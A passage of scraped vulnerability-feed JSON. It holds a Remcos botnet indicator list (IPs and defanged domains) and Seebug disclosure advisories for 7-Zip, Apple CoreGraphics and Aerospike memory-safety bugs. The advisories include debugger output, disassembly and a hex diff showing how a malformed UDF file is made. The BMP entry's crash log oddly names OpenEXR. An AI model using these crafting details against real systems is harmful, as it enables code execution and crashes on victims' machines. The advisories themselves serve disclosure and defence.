\n195.154.242[.]51 \n51.15.229[.]127 \n212.47.250[.]222 \n191.101.22[.]136 \n185.209.20[.]221 \n92.38.86[.]175 \n139.60.162[.]153 \n192.0.2[.]2 \n185.209.85[.]185 \n82.221.105[.]125 \n185.125.205[.]74 \n77.48.28[.]223 \n79.172.242[.]28 \n79.172.242[.]28 \n192.185.119[.]103 \n181.52.113[.]172 \n213.152.161[.]165 \n\n\n### Domains:\n\n \ndboynyz[.]pdns[.]cz \nstreetz[.]club \nmdformo[.]ddns[.]net \nmdformo1[.]ddns[.]net \nvitlop[.]ddns[.]net \nns1[.]madeinserverwick[.]club \nuploadtops[.]is \nprince[.]jumpingcrab[.]com \ntimmason2[.]com \nlenovoscanner[.]duckdns[.]org \nlenovoscannertwo[.]duckdns[.]org \nlenovoscannerone[.]duckdns[.]org \ngoogle[.]airdns[.]org \ncivita2[.]no-ip[.]biz \nwww[.]pimmas[.]com[.]tr \nwww[.]mervinsaat[.]com.tr \nsamurmakina[.]com[.]tr \nwww[.]paulocamarao[.]com \nmidatacreditoexperian[.]com[.]co \nwww[.]lebontour[.]com \nbusinesslisting[.]igg[.]biz \nunifscon[.]com \n \n", "modified": "2018-08-22T16:37:43", "published": "2018-08-22T09:00:00", "id": "TALOSBLOG:86CFE13CC243BBADFD864169031D0587", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/FucwVU0hs7o/picking-apart-remcos.html", "type": "talosblog", "title": "Picking Apart Remcos Botnet-In-A-Box", "cvss": {"score": 0.0, "vector": "NONE"}}], "seebug": [{"lastseen": "2017-11-19T13:10:11", "bulletinFamily": "exploit", "description": "### Summary\r\nAn out of bound read vulnerability exists in the CInArchive::ReadFileItem method functionality of 7zip for handling UDF files that can lead to denial of service or code execution.\r\n\r\n### Tested Versions\r\n7-Zip [32] 15.05 beta 7-Zip [64] 9.20\r\n\r\n### Product URLs\r\nhttp://www.7-zip.org/\r\n\r\n### Details\r\nCInArchive::ReadFileItem method to achieve proper information about file/directory location on particular partition use inter alia the following information: Partition Map and Long Allocation Descriptor [2.3.10.1 Long Allocation Descriptor]. Because volumes can have more than one partition map their objects are keep in object vector. To start looking for item, method tries to achieve proper partition object using to this mentioned partition maps object vector and \"PartitionRef\" field from Long Allocation Descriptor. Lack of checking whether \"PartitionRef\" field is bigger than available amount of partition map objects cause read out of bounds and can lead in some circumstances to arbitrary code execution.\r\n\r\nVulnerable code:\r\n```\r\nCPP\\7zip\\Archive\\Udf\\UdfIn.cpp\r\n\r\nLine 898 FOR_VECTOR (fsIndex, vol.FileSets)\r\nLine 899 {\r\nLine 900 CFileSet &fs = vol.FileSets[fsIndex];\r\nLine 901 unsigned fileIndex = Files.Size();\r\nLine 902 Files.AddNew();\r\nLine 903 RINOK(ReadFileItem(volIndex, fsIndex, fs.RootDirICB, kNumRecursionLevelsMax));\r\nLine 904 RINOK(FillRefs(fs, fileIndex, -1, kNumRecursionLevelsMax));\r\nLine 905 }\r\n\r\n........\r\n\r\nLine 384 HRESULT CInArchive::ReadFileItem(int volIndex, int fsIndex, const CLongAllocDesc &lad, int numRecurseAllowed)\r\nLine 385 {\r\nLine 386 if (Files.Size() % 100 == 0)\r\nLine 387 RINOK(_progress->SetCompleted(Files.Size(), _processedProgressBytes));\r\nLine 388 if (numRecurseAllowed-- == 0)\r\nLine 389 return S_FALSE;\r\nLine 390 CFile &file = Files.Back();\r\nLine 391 const CLogVol &vol = LogVols[volIndex];\r\nLine 392 CPartition &partition = Partitions[vol.PartitionMaps[lad.Location.PartitionRef].PartitionIndex];\r\n```\r\n\r\nVulnerability can be triggered for any entry contains malformed long allocation descriptor but in this example we will focus on File set RootDirICB [2.3.2 File Set Descriptor].\r\n\r\nAs you can see in above code in lines 898-905 search for elements on particular volume and file set starts based on RootDirICB Long Allocation Descriptor and that record we will try to malformed for our purpose. Vulnerability appears in line 392 when PartitionRef field exceed number of elements in ParitionMaps vector. Let we check how many PartitionMaps contains our PoC:\r\n```\r\n0:000> .restart /f\r\nSymbol search path is: symsrv*symsrv.dll*d:\\localsymbols*http://msdl.microsoft.com/download/symbols\r\nExecutable search path is: \r\nModLoad: 01270000 012e5000 7z.exe \r\nPage heap: pid 0x29A0: page heap enabled with flags 0x3.\r\nPage heap: pid 0x29A0: page heap enabled with flags 0x3.\r\n(29a0.720): Break instruction exception - code 80000003 (first chance)\r\neax=00000000 ebx=00000000 ecx=fa8d0000 edx=0025e198 esi=fffffffe edi=00000000\r\neip=77c412fb esp=0019f91c ebp=0019f948 iopl=0 nv up ei pl zr na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\r\nntdll!LdrpDoDebuggerBreak+0x2c:\r\n77c412fb cc int 3\r\n0:000> g\r\nBreakpoint 114 hit\r\neax=07c1ef58 ebx=00000000 ecx=07c24ff8 edx=00000000 esi=00000000 edi=0019f17c\r\neip=69ccaa81 esp=0019d73c ebp=0019d7b0 iopl=0 nv up ei pl nz na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206\r\n> 392: CPartition &partition = Partitions[vol.PartitionMaps[lad.Location.PartitionRef].PartitionIndex];\r\n7z_69bf0000!NArchive::NUdf::CInArchive::ReadFileItem+0xa1:\r\n69ccaa81 8b4510 mov eax,dword ptr [ebp+10h] ss:002b:0019d7c0=e44fad07\r\n0:000> dv /t vol\r\nstruct NArchive::NUdf::CLogVol * vol = 0x07c1ef58\r\n0:000> dt /b NArchive::NUdf::CLogVol poi(vol)\r\n(...)\r\n +0x090 PartitionMaps : CObjectVector<NArchive::NUdf::CPartitionMap>\r\n +0x000 _v : CRecordVector<void *>\r\n +0x000 _items : 0x07c20ff8 \r\n +0x004 _size : 1\r\n +0x008 _capacity : 1\r\n```\r\n\r\nAs we can see there is 1 Partition map where our PartitionRef field is equal:\r\n```\r\n0:000> dv /t lad\r\nstruct NArchive::NUdf::CLongAllocDesc * lad = 0x07ad4fe4\r\n0:000> dt /b NArchive::NUdf::CLongAllocDesc poi(lad)\r\n7z_69bf0000!NArchive::NUdf::CLongAllocDesc\r\n +0x000 Len : 0x800\r\n +0x004 Location : NArchive::NUdf::CLogBlockAddr\r\n +0x000 Pos : 2\r\n +0x004 PartitionRef : 0xff\r\n```\r\n\r\nVulnerability is obvious, let\u2019s see how it manifests:\r\n```\r\n0:000> g\r\n(29a0.720): Access violation - code c0000005 (first chance)\r\n```\r\n\r\nFirst chance exceptions are reported before any exception handling. This exception may be expected and handled.\r\n```\r\neax=07c213f4 ebx=00000000 ecx=07c20ff8 edx=000000ff esi=00000000 edi=0019f17c\r\neip=69cc38f8 esp=0019d6e0 ebp=0019d730 iopl=0 nv up ei pl nz na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206\r\n> 450: const T& operator[](unsigned index) const { return *((T *)_v[index]); }\r\n7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+0x18:\r\n69cc38f8 8b00 mov eax,dword ptr [eax] ds:002b:07c213f4=????????\r\n0:000> !analyze -v\r\n *******************************************************************************\r\n* *\r\n* Exception Analysis *\r\n* *\r\n*******************************************************************************\r\n\r\n\r\nFAULTING_IP: \r\n7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+18\r\n69cc38f8 8b00 mov eax,dword ptr [eax]\r\n\r\nEXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)\r\nExceptionAddress: 69cc38f8 (7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+0x00000018)\r\n ExceptionCode: c0000005 (Access violation)\r\nExceptionFlags: 00000000\r\nNumberParameters: 2\r\n Parameter[0]: 00000000\r\n Parameter[1]: 07c213f4\r\nAttempt to read from address 07c213f4\r\n\r\nFAULTING_THREAD: 00000720\r\n\r\nPROCESS_NAME: 7z.exe\r\n\r\nERROR_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo\r\n\r\nEXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo\r\n\r\nEXCEPTION_PARAMETER1: 00000000\r\n\r\nEXCEPTION_PARAMETER2: 07c213f4\r\n\r\nREAD_ADDRESS: 07c213f4 \r\n\r\nFOLLOWUP_IP: \r\n7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+18\r\n69cc38f8 8b00 mov eax,dword ptr [eax]\r\n\r\nDETOURED_IMAGE: 1\r\n\r\nNTGLOBALFLAG: 2000000\r\n\r\nAPPLICATION_VERIFIER_FLAGS: 0\r\n\r\nAPP: 7z.exe\r\n\r\nBUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_AFTER_CALL\r\n\r\nPRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_AFTER_CALL\r\n\r\nDEFAULT_BUCKET_ID: INVALID_POINTER_READ_AFTER_CALL\r\n\r\nLAST_CONTROL_TRANSFER: from 69ccaa97 to 69cc38f8\r\n\r\nSTACK_TEXT: \r\n0019d730 69ccaa97 000000ff 0019f17c 00000000 7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+0x18 [7z1505- \r\nsrc\\cpp\\common\\myvector.h @ 450] \r\n0019d7b0 69cc9d3a 00000000 00000000 07ad4fe4 7z_69bf0000!NArchive::NUdf::CInArchive::ReadFileItem+0xb7 [7z1505- \r\nsrc\\cpp\\7zip\\archive\\udf\\udfin.cpp @ 392]\r\n0019e288 69cca215 0019f17c 0019ec1c 00000000 7z_69bf0000!NArchive::NUdf::CInArchive::Open2+0xcba [7z1505- \r\nsrc\\cpp\\7zip\\archive\\udf\\udfin.cpp @ 903]\r\n0019e2e4 69cc73f3 07b4efa8 0019e37c 0019f17c 7z_69bf0000!NArchive::NUdf::CInArchive::Open+0x25 [7z1505-\r\nsrc\\cpp\\7zip\\archive\\udf\\udfin.cpp @ 975]\r\n0019e3a4 012acf95 07021f68 07b4efa8 0019e950 7z_69bf0000!NArchive::NUdf::CHandler::Open+0x63 [7z1505- \r\nsrc\\cpp\\7zip\\archive\\udf\\udfhandler.cpp @ 149]\r\n0019ea58 012b1690 0019f154 0019f17c 0019ec1c 7z!CArc::OpenStream2+0xdb5 [7z1505-src\\cpp\\7zip\\ui\\common\\openarchive.cpp @ \r\n1820]\r\n0019eb4c 012b1ba6 0019f154 0019f17c 0019ec1c 7z!CArc::OpenStream+0x30 [7z1505-src\\cpp\\7zip\\ui\\common\\openarchive.cpp @ \r\n2829]\r\n0019ebe0 012ab7e9 0019f154 00000000 00000001 7z!CArc::OpenStreamOrFile+0x166 [7z1505- \r\nsrc\\cpp\\7zip\\ui\\common\\openarchive.cpp @ 2921]\r\n0019ef20 012ab4b8 0019f154 00000000 00000001 7z!CArchiveLink::Open+0x179 [7z1505-src\\cpp\\7zip\\ui\\common\\openarchive.cpp @ \r\n3097]\r\n0019efd8 012ab63c 0019f154 06bf9ea8 00000000 7z!CArchiveLink::Open2+0x148 [7z1505-src\\cpp\\7zip\\ui\\common\\openarchive.cpp @ \r\n3220]\r\n0019f040 0129ffec 0019f154 06bf9ea8 00000000 7z!CArchiveLink::Open3+0x1c [7z1505-src\\cpp\\7zip\\ui\\common\\openarchive.cpp @ \r\n3284]\r\n0019f2e4 012ca3fd 0019f9b8 0019f938 0019f92c 7z!Extract+0x48c [7z1505-src\\cpp\\7zip\\ui\\common\\extract.cpp @ 362]\r\n0019fc84 012cc0be 00000000 00000001 00000000 7z!Main2+0x14cd [7z1505-src\\cpp\\7zip\\ui\\console\\main.cpp @ 881]\r\n0019fd5c 012cfe33 00000003 06bf5f80 06e75f18 7z!main+0x7e [7z1505-src\\cpp\\7zip\\ui\\console\\mainar.cpp @ 70]\r\n0019fd9c 75d6337a fffde000 0019fde8 77bd92e2 7z!__tmainCRTStartup+0xfd [f:\\dd\\vctools\\crt\\crtw32\\dllstuff\\crtexe.c @ 626]\r\n0019fda8 77bd92e2 fffde000 56a1b6fd 00000000 kernel32!BaseThreadInitThunk+0xe\r\n0019fde8 77bd92b5 012cfe9b fffde000 00000000 ntdll!__RtlUserThreadStart+0x70\r\n0019fe00 00000000 012cfe9b fffde000 00000000 ntdll!_RtlUserThreadStart+0x1b\r\n\r\nFAULTING_SOURCE_LINE_NUMBER: 450\r\n\r\nSYMBOL_STACK_INDEX: 0\r\n\r\nSYMBOL_NAME: 7z!CObjectVector<NArchive::NTar::CItemEx>::operator[]+18\r\n\r\nFOLLOWUP_NAME: MachineOwner\r\n\r\nMODULE_NAME: 7z_69bf0000\r\n\r\nIMAGE_NAME: 7z.dll\r\n\r\nDEBUG_FLR_IMAGE_TIMESTAMP: 559185fe\r\n\r\nSTACK_COMMAND: ~0s ; kb\r\n\r\nFAILURE_BUCKET_ID: INVALID_POINTER_READ_AFTER_CALL_c0000005_7z.dll!CObjectVector_NArchive::NTar::CItemEx_::operator[]\r\n\r\nBUCKET_ID: \r\nAPPLICATION_FAULT_INVALID_POINTER_READ_AFTER_CALL_DETOURED_7z!CObjectVector_NArchive::NTar::CItemEx_::operator[]+18\r\n\r\nWATSON_STAGEONE_URL: \r\nhttp://watson.microsoft.com/StageOne/7z_exe/15_5_0_0/5591858b/7z_dll/15_5_0_0/559185fe/c0000005/000d38f8.htm?Retriage=1\r\n\r\nFollowup: MachineOwner\r\n---------\r\n```\r\n\r\nAt the end, let us see how FileSet RootDirICB entry has been modified.\r\n```\r\nOriginal file:\r\n\r\nOffset 0 1 2 3 4 5 6 7 8 9 A B C D E F\r\n\r\n00080990 00 08 00 00 02 00 00 00 00 00 00 00 00 00 00 00 ................\r\n000809A0 00 2A 4F 53 54 41 20 55 44 46 20 43 6F 6D 70 6C .*OSTA UDF Compl\r\n000809B0 69 61 6E 74 00 00 00 00 02 01 03 00 00 00 00 00 iant............\r\n\r\nMalformed file:\r\n\r\nOffset 0 1 2 3 4 5 6 7 8 9 A B C D E F\r\n\r\n00080990 00 08 00 00 02 00 00 00 FF 00 00 00 00 00 00 00 ........\u02d9.......\r\n000809A0 00 2A 4F 53 54 41 20 55 44 46 20 43 6F 6D 70 6C .*OSTA UDF Compl\r\n000809B0 69 61 6E 74 00 00 00 00 02 01 03 00 00 00 00 00 iant............\r\n```\r\n\r\nAs you can see at offset 00080990 + 8, 0x00 changed to 0xff which we could observe during bug analysis as a value of PartitionRef.\r\n\r\n### Timeline\r\n* 2016-03-03 - Vendor Notification\r\n* 2016-05-10 - Public Disclosure", "modified": "2017-10-26T00:00:00", "published": "2017-10-26T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96782", "id": "SSV:96782", "type": "seebug", "title": "7zip UDF CInArchive::ReadFileItem Code Execution Vulnerability(CVE-2016-2335)", "sourceData": "", "sourceHref": "", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-11-19T11:56:13", "bulletinFamily": "exploit", "description": "### SUMMARY\r\nAn exploitable out of bounds write exists in the handling of BMP images on Apple OS X and iOS. A crafted BMP document can lead to an out of bounds write resulting in remote code execution. Vulnerability can be triggered via a saved BMP file delivered by other means when opened in any application using the Apple Core Graphics API.\r\n\r\n### TESTED VERSIONS\r\nOS X El Capitan - 10.11.5\r\n\r\n### PRODUCT URLs\r\nhttps://developer.apple.com/osx/download\r\n\r\n### CVSSv3 SCORE\r\n6.3 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N\r\n\r\n### DETAILS\r\nThis vulnerability is present in the Apple CoreGraphics framework which is used for path-based drawing, transformations, color management, offscreen rendering, patterns, gradients and shadings, image data management, image creation, masking, and PDF document creation, display, and parsing on OS X and iOS.\r\n\r\nThere exists a vulnerability in the parsing and handling of BMP images. A specially crafted BMP image file can lead to an out of bounds write and ultimately to remote code execution.\r\n\r\nThe BMP file format, also known as bitmap image file or device independent bitmap file format or simply a bitmap, is a raster graphics image file format used to store bitmap digital images, independently of the display device (such as a graphics adapter), especially on Microsoft Windows. BMP handles multiple different forms of compression as well making it a somewhat difficult graphics format to parse.\r\n\r\nA dump of the files relevant header components is shown below:\r\n```\r\n<class bmp.BITMAPINFOHEADER> 'bmiHeader'\r\n[e] <instance bmp.DWORD 'biSize'> 0x00000028 (40)\r\n[12] <instance bmp.LONG 'biWidth'> 0x0000e803 (59395)\r\n[16] <instance bmp.LONG 'biHeight'> 0x0000ff01 (65281)\r\n[1a] <instance bmp.WORD 'biPlanes'> 0x0001 (1)\r\n[1c] <instance bmp.WORD 'biBitCount'> 0x0004 (4)\r\n[1e] <instance bmp.__biCompression 'biCompression'> BI_RLE4(0x2)\r\n[22] <instance bmp.DWORD 'biSizeImage'> 0x00000200 (512)\r\n[26] <instance bmp.LONG 'biXPelsPerMeter'> 0x00000b12 (2834)\r\n[2a] <instance bmp.LONG 'biYPelsPerMeter'> 0x00000b12 (2834)\r\n[2e] <instance bmp.DWORD 'biClrUsed'> 0x00000010 (16)\r\n[32] <instance bmp.DWORD 'biClrImportant'> 0x00000010 (16)\r\n```\r\n\r\nAnd running the file through Qlmanage with guard malloc enabled shows us this crash:\r\n```\r\nrax = 0x0000001a1afd5500\r\nrbx = 0x00000000fffffffe\r\nrcx = 0x0000000000000002\r\nrdx = 0x0000000000000000\r\nrdi = 0x000000000000e804\r\nrsi = 0x0000001e1b1f47b0\r\nrbp = 0x0000001a7e877c70\r\nrsp = 0x0000001a7e877c48\r\nr8 = 0x0000001a1afd5500\r\nr9 = 0x0000001e1b1f47b0\r\nr10 = 0x0000000000000004\r\nr11 = 0x0000000000000003\r\nr12 = 0x0000000000000001\r\nr13 = 0x000000000000e804\r\nr14 = 0x000000000003a00c\r\nr15 = 0x0000000000000002\r\nrip = 0x00007fff8e2ba109 CoreGraphics`decode_byte_8bpc_3 + 369\r\n\r\nCoreGraphics`decode_byte_8bpc_3:\r\n 0x7fff8e2ba109 <+369>: mov bl, byte ptr [r12 + rax]\r\n 0x7fff8e2ba10d <+373>: mov cl, byte ptr [r15 + rax]\r\n 0x7fff8e2ba111 <+377>: mov dl, byte ptr [r11 + rax]\r\n 0x7fff8e2ba115 <+381>: mov byte ptr [rsi], bl\r\n 0x7fff8e2ba117 <+383>: mov byte ptr [rsi + 0x1], cl\r\n 0x7fff8e2ba11a <+386>: mov byte ptr [rsi + 0x2], dl\r\n 0x7fff8e2ba11d <+389>: add rax, r10\r\n 0x7fff8e2ba120 <+392>: add edi, -0x1\r\n\r\nBACKTRACE\r\n\r\n* thread #12: tid = 0x5e16, 0x00007fff8e2ba109 CoreGraphics`decode_byte_8bpc_3 + 369, queue = 'com.apple.root.default-qos', stop reason = EXC_BAD_ACCESS (code=1, address=0x1a1afd5501)\r\n * frame #0: 0x00007fff8e2ba109 CoreGraphics`decode_byte_8bpc_3 + 369\r\n frame #1: 0x00007fff8e25c3e2 CoreGraphics`decode_data + 16158\r\n frame #2: 0x00007fff8e257a58 CoreGraphics`img_decode_read + 378\r\n frame #3: 0x00007fff8e2577d7 CoreGraphics`img_colormatch_read + 363\r\n frame #4: 0x00007fff8e25571f CoreGraphics`img_data_lock + 8852\r\n frame #5: 0x00007fff8e2525af CoreGraphics`CGSImageDataLock + 151\r\n frame #6: 0x00007fff9e8f41d4 libRIP.A.dylib`ripc_AcquireImage + 972\r\n frame #7: 0x00007fff9e8f2c7e libRIP.A.dylib`ripc_DrawImage + 1011\r\n frame #8: 0x00007fff8e251b31 CoreGraphics`CGContextDrawImageWithOptions + 571\r\n frame #9: 0x00007fff8e2518da CoreGraphics`CGContextDrawImage + 51\r\n```\r\n\r\nDisassembling down from the backtrace we can spot where the vulnerability arises in img_decode_read.\r\n```\r\n__text:00000000000399F6 _img_decode_read: ; CODE XREF: _img_imagemask_read+1AAp\r\n__text:00000000000399F6 ; _img_imagemask_read+266p ...\r\n__text:00000000000399F6 push rbp\r\n__text:00000000000399F7 mov rbp, rsp\r\n__text:00000000000399FA push r15\r\n__text:00000000000399FC push r14\r\n__text:00000000000399FE push r13\r\n__text:0000000000039A00 push r12\r\n__text:0000000000039A02 push rbx\r\n__text:0000000000039A03 sub rsp, 98h\r\n__text:0000000000039A0A mov [rbp-68h], r8\r\n__text:0000000000039A0E mov r9, rcx\r\n__text:0000000000039A11 mov r10d, edx\r\n__text:0000000000039A14 mov r14d, esi [0]\r\n\r\n...\r\n\r\n__text:0000000000039B0D call _get_image_pointer [1]\r\n__text:0000000000039B12 test rax, rax\r\n__text:0000000000039B15 jz loc_39D19\r\n__text:0000000000039B1B mov esi, [r13+78h]\r\n__text:0000000000039B1F mov r8d, [r13+88h]\r\n__text:0000000000039B26 movsxd rcx, r14d \r\n__text:0000000000039B29 imul r14d, r8d\r\n__text:0000000000039B2D mov rdi, [r13+0A0h]\r\n__text:0000000000039B34 mov [r13+58h], rcx\r\n__text:0000000000039B38 movsxd rcx, r14d [2]\r\n__text:0000000000039B3B add rax, rcx\r\n```\r\n\r\nThis function is used in a loop to continually grab more data from the image with an increasing value passed in via RSI (at [0]) until it reaches the image height value. When the value grows large enough a sign extension error occurs. In this case it is 0xff00 that causes the problem. A pointer to a valid image data buffer (at [1]) is returned and then some indexing is done on it to get to the proper element. The problem arises because the image height is not properly checked so when the value in R14 is promoted to a larger type stored in RCX the remaining bits gets filled in with 0xF causing an invalid index into the array. As shown previously the invalid index is calculated via the image height allowing this vulnerability to potentially be leveraged into an information leak or full remote code execution.\r\n\r\n### CRASH INFORMATION\r\n```\r\nCrashed thread log =\r\n: Dispatch queue: com.apple.main-thread\r\n0 libOpenEXR.dylib 0x00000001068b20b2 Imf_2_2::InputFile::readPixels(int, int) + 1068\r\n1 libOpenEXR.dylib 0x000000010693c7d6 exrReadRGBFloat(char const*, int*, int*, unsigned int*, void*) + 621\r\n2 com.apple.ImageIO.framework 0x00007fff8d3460cf copyImageBlockSetOpenEXR + 856\r\n3 com.apple.ImageIO.framework 0x00007fff8d2f40f4 ImageProviderCopyImageBlockSetCallback + 651\r\n4 com.apple.CoreGraphics 0x00007fff93f15cb4 CGImageProviderCopyImageBlockSetWithOptions + 132\r\n5 com.apple.CoreGraphics 0x00007fff93f1739c CGImageProviderCopyImageBlockSet + 205\r\n6 com.apple.CoreGraphics 0x00007fff93f4e7fd img_blocks_create + 517\r\n7 com.apple.CoreGraphics 0x00007fff93f19c9f img_data_lock + 1788\r\n8 com.apple.CoreGraphics 0x00007fff93f186c7 CGSImageDataLock + 151\r\n9 libRIP.A.dylib 0x00007fff933ee1d4 ripc_AcquireImage + 972\r\n10 libRIP.A.dylib 0x00007fff933ecc7e ripc_DrawImage + 1011\r\n11 com.apple.CoreGraphics 0x00007fff93f17c48 CGContextDrawImageWithOptions + 571\r\n12 com.apple.CoreGraphics 0x00007fff93f179f1 CGContextDrawImage + 51\r\n13 com.apple.ImageIO.framework 0x00007fff8d31579e CGImageCreateCopyWithParametersNew + 2575\r\n14 com.apple.ImageIO.framework 0x00007fff8d314b95 CGImageSourceCreateThumbnailAtIndex + 3821\r\n15 com.apple.imageKit 0x00007fff8b1ce044 -[IKImageContentView _newCGImageFromImgSrc:index:displayProperties:imageScale:createBitmapImmediately:] + 747\r\n16 com.apple.imageKit 0x00007fff8b1ce49c __69-[IKImageContentView setImageURL:imageAtIndex:withDisplayProperties:]_block_invoke + 57\r\n17 com.apple.imageKit 0x00007fff8b1ce38b -[IKImageContentView setImageURL:imageAtIndex:withDisplayProperties:] + 799\r\n18 com.apple.Preview 0x0000000101626162 0x10160b000 + 110946\r\n19 com.apple.Preview 0x000000010161fe5d 0x10160b000 + 85597\r\n20 com.apple.Preview 0x0000000101616b47 0x10160b000 + 47943\r\n21 com.apple.AppKit 0x00007fff9978ea2b -[NSWindowController _windowDidLoad] + 592\r\n22 com.apple.AppKit 0x00007fff9972b542 -[NSWindowController window] + 110\r\n23 com.apple.Preview 0x0000000101614d9a 0x10160b000 + 40346\r\n24 com.apple.AppKit 0x00007fff9991b03d -[NSWindowController showWindow:] + 36\r\n25 com.apple.Preview 0x000000010161619e 0x10160b000 + 45470\r\n26 com.apple.Foundation 0x00007fff97316f4e -[NSObject(NSThreadPerformAdditions) performSelector:onThread:withObject:waitUntilDone:modes:] + 1115\r\n27 com.apple.Foundation 0x00007fff97316a75 -[NSObject(NSThreadPerformAdditions) performSelectorOnMainThread:withObject:waitUntilDone:] + 131\r\n28 com.apple.Preview 0x00000001016160df 0x10160b000 + 45279\r\n29 com.apple.Preview 0x0000000101614f13 0x10160b000 + 40723\r\n30 com.apple.Preview 0x00000001016ffdfe 0x10160b000 + 1003006\r\n31 libdispatch.dylib 0x00007fff9c53693d _dispatch_call_block_and_release + 12\r\n32 libdispatch.dylib 0x00007fff9c52b40b _dispatch_client_callout + 8\r\n33 libdispatch.dylib 0x00007fff9c53ec1c _dispatch_main_queue_callback_4CF + 1685\r\n34 com.apple.CoreFoundation 0x00007fff8e4a39e9 __CFRUNLOOP_IS_SERVICING_THE_MAIN_DISPATCH_QUEUE__ + 9\r\n35 com.apple.CoreFoundation 0x00007fff8e4628dd __CFRunLoopRun + 1949\r\n36 com.apple.CoreFoundation 0x00007fff8e461ed8 CFRunLoopRunSpecific + 296\r\n37 com.apple.HIToolbox 0x00007fff95160935 RunCurrentEventLoopInMode + 235\r\n38 com.apple.HIToolbox 0x00007fff9516076f ReceiveNextEventCommon + 432\r\n39 com.apple.HIToolbox 0x00007fff951605af _BlockUntilNextEventMatchingListInModeWithFilter + 71\r\n40 com.apple.AppKit 0x00007fff9971aefa _DPSNextEvent + 1067\r\n41 com.apple.AppKit 0x00007fff9971a32a -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] + 454\r\n42 com.apple.AppKit 0x00007fff9970ee84 -[NSApplication run] + 682\r\n43 com.apple.AppKit 0x00007fff996d846c NSApplicationMain + 1176\r\n44 libdyld.dylib 0x00007fff911725ad start + 1\r\n\r\n---\r\nexception=EXC_BAD_ACCESS:signal=11:is_exploitable=yes:instruction_disassembly=movb %bl,(%rax,%rcx):instruction_address=0x00000001068b20b2:access_type=write:access_address=0x00007e214703dc0c:\r\nCrash accessing invalid address. Consider running it again with libgmalloc(3) to see if the log changes.\r\nbootstrap_look_up: (os/kern) unknown error code (44e)\r\n+ EXIT_VALUE=255\r\n+ exit 255\r\n```\r\n\r\n### TIMELINE\r\n* 2016-06-15 - Vendor Disclosure\r\n* 2016-07-18 - Public Release", "modified": "2017-10-17T00:00:00", "published": "2017-10-17T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96727", "id": "SSV:96727", "type": "seebug", "title": "Apple Core Graphics BMP Framework img_decode_read Remote Code Execution Vulnerability(CVE-2016-4637)", "sourceData": "", "sourceHref": "", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-11-19T11:57:06", "bulletinFamily": "exploit", "description": "### Summary\r\nAn exploitable out-of-bounds read vulnerability exists in the client message-parsing functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause an out-of-bounds read resulting in disclosure of memory within the process, the same vulnerability can also be used to trigger a denial of service. An attacker can simply connect to the port and send the packet to trigger this vulnerability.\r\n\r\n### Tested Versions\r\nAerospike Database Server 3.10.0.3\r\n\r\n### Product URLs\r\nhttps://github.com/aerospike/aerospike-server/tree/3.10.0.3\r\n\r\n### CVSSv3 Score\r\n8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\r\n\r\n### CWE\r\nCWE-129 - Improper Validation of Array Index\r\n\r\n### Details\r\nAerospike Database Server is both a distributed and scalable NoSQL database that is used as a back-end for scalable web applications that need a key-value store. With a focus on performance, it is multi-threaded and retains its indexes entirely in ram with the ability to persist data to a solid-state drive or traditional rotational media.\r\n\r\nIn order to receive a packet from the client, the server spawns threads which execute the `thr_demarshal` function. At the beginning of this function, the server will receive data from the socket and then validate the protocol type. If the protocol type specifies that the packet is compressed (PROTOTYPEASMSGCOMPRESSED), it will decompress it with zlib and then continue to process the packet [1]. Later, when the protocol type is PROTOTYPEAS_MSG the server will pass the packet to the `thr_tsvc_process_or_enqueue` function [2].\r\n```\r\nas/src/base/thr_demarshal.c:389\r\nvoid *\r\nthr_demarshal(void *unused)\r\n{\r\n...\r\n // Demarshal transactions from the socket.\r\n...\r\n // Iterate over all events.\r\n for (i = 0; i < nevents; i++) {\r\n...\r\n // If pointer is NULL, then we need to create a transaction and\r\n // store it in the buffer.\r\n if (fd_h->proto == NULL) {\r\n...\r\n // Do a preliminary read of the header into a stack-\r\n // allocated structure, so that later on we can allocate the\r\n // entire message buffer.\r\n if (0 >= (n = cf_socket_recv(sock, &proto, sizeof(as_proto), MSG_WAITALL))) {\r\n cf_detail(AS_DEMARSHAL, \"proto socket: read header fail: error: rv %d sz was %d errno %d\", n, sz, errno);\r\n goto NextEvent_FD_Cleanup;\r\n }\r\n...\r\n // Check for a finished read.\r\n if (0 == fd_h->proto_unread) {\r\n...\r\n // Check if it's compressed.\r\n if (tr.msgp->proto.type == PROTO_TYPE_AS_MSG_COMPRESSED) { // [1]\r\n...\r\n }\r\n...\r\n // Either process the transaction directly in this thread,\r\n // or queue it for processing by another thread (tsvc/info).\r\n if (0 != thr_tsvc_process_or_enqueue(&tr)) { // [2]\r\n cf_warning(AS_DEMARSHAL, \"Failed to queue transaction to the service thread\");\r\n goto NextEvent_FD_Cleanup;\r\n }\r\n```\r\n\r\nInside the `thr_tsvc_process_or_enqueue` function, the server will call the `as_msg_peek_data_in_memory` function [1]. This function will extract the specified namespace as defined within the packet and check to see if the `storage_data_in_memory` field [2] is set. The value of this field is defined within the configuration for the service. If the value of 